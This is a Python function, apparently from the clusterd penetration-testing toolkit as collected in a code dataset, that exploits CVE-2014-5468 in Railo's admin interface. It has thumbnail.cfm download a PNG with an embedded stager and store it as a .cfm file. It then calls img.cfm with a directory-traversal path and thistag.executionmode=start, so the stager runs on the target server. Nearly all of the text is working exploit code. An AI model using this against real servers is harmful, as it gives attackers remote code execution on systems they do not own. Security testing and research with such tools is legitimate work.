def deploy(fingerengine, fingerprint):

    cfm_path = abspath(fingerengine.options.deploy)
    cfm_file = parse_war_path(cfm_path, True)
    dip = fingerengine.options.ip
    os = fingerengine.options.remote_os

    utility.Msg("Preparing to deploy {0}...".format(cfm_file))

    base = "http://{0}:{1}".format(dip, fingerprint.port)

    #
    # first we pull down our modified png as a cfm with the embedded stager
    #
    tn = "/railo-context/admin/thumbnail.cfm?img={0}&height=5000&width=5000"
    pl_file = load_file(base + tn, cfm_file, os, fingerprint.version)
    if not pl_file: 
        return
    
    #
    # once the stager is uploaded, we invoke img.cfm to pull the file and execute
    #
    jsl = "/railo-context/admin/img.cfm?attributes.src=../../../../temp/admin-"\
          "ext-thumbnails/{0}&thistag.executionmode=start"
    if not invoke(base + jsl, cfm_path, os, fingerprint.version, pl_file):
        return
Exploits CVE-2014-5468
dataset/ETHPy150Open hatRiot/clusterd/src/platform/railo/deployers/thumbnail_inject.py/deploy